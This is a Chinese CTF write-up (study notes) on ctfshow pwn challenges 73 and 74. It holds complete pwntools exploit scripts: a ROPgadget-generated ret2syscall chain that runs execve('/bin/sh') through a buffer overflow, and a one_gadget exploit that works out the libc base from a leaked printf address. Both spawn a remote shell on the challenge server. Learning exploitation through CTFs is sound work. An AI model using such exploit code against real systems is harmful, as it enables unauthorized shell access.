ctfshow做题笔记—栈溢出—pwn73、pwn74
目录
一、pwn73(愉快的尝试一下一把梭吧!)
二、pwn74(噢?好像到现在为止还没有了解到one_gadget?)
前言:
抽空闲时间继续学习,记录了两道题,pwn74卡了几天哈哈。
一、pwn73(愉快的尝试一下一把梭吧!)
一把梭,先checksec:
[*] '/home/kali/桌面/ctfshoww/pwn73'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
可恶。NX
一看到有gets就用pwndbg计算了一下偏移:
offset = 28
接下来试一下用ret2syscall绕过NX。
先ROPgadget找几个需要设置的寄存器,这道题需要多次系统调用。
0x080b81c6 : pop eax ; ret
0x0806f050 : pop edx ; pop ecx ; pop ebx ; ret
0x0806cc25 : int 0x80
来试试一把梭,就是用
ROPgadget --binary pwn73 --ropchain
帮助我们搞一条ROP链,简直不要太爽。
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
直接作为payload
from pwn import *
from struct import pack
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28192)
p = b'a'*28
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p+= pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
io.sendline(p)
io.interactive()
二、pwn74(噢?好像到现在为止还没有了解到one_gadget?)
┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn74
[*] '/home/kali/桌面/ctfshoww/pwn74'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
这保护开的我害怕。
提示需要我们先了解一下one_gadget:
one_gadget 是一个用于查找 libc 中可以直接执行 execve("/bin/sh", NULL, NULL) 的代码片段(即 “one-gadget”)的工具。这些代码片段在满足特定条件后可以直接用于获取 shell,而无需额外构造复杂的 ROP(Return-Oriented Programming,返回导向编程)链。
工作原理
one_gadget 通过分析 libc 文件,查找其中可以执行 execve 系统调用的代码片段。这些片段通常位于 libc 的某些特定函数中,例如 system 函数的实现代码。使用时,需要知道目标程序所使用的 libc 版本,并且能够泄露 libc 的基址。
one_gadget 是用 Ruby 编写的,因此需要先安装 Ruby 环境,然后通过 Ruby 的包管理器 gem 安装:
sudo apt install ruby
sudo apt install ruby-dev
sudo gem install one_gadget
接下来查一下libc版本:
libc database search
execve=0xeafab
然后利用libcret2里的知识,计算地址。
程序会输出一个printf的地址,利用它计算基地址。
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28308)
libc=ELF("/home/kali/桌面/ctfshoww/libc-2.30-3-x86_64.so")
execve=0xeafab
p.recvuntil("this:")
printfar=eval(p.recvuntil("?",drop=True))
base=printfar-libc.sym['printf']
execve_t=execve+base
p.sendline(str(execve_t))
p.interactive()
没打出来(悲),libc版本不太对。
好啦(时隔多日),补充一下,过了好几天才找到了,ctfshow常用的libc文件,终于查到地址了:
execve=0x10a2fc
应该可以打通了:
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28184)
libc=ELF("/home/kali/桌面/ctfshoww/libc.so.6")
execve=0x10a2fc
p.recvuntil("this:")
printfar=eval(p.recvuntil("?",drop=True))
base=printfar-libc.sym['printf']
execve_t=execve+base
p.sendline(str(execve_t))
p.interactive()
继续学习中......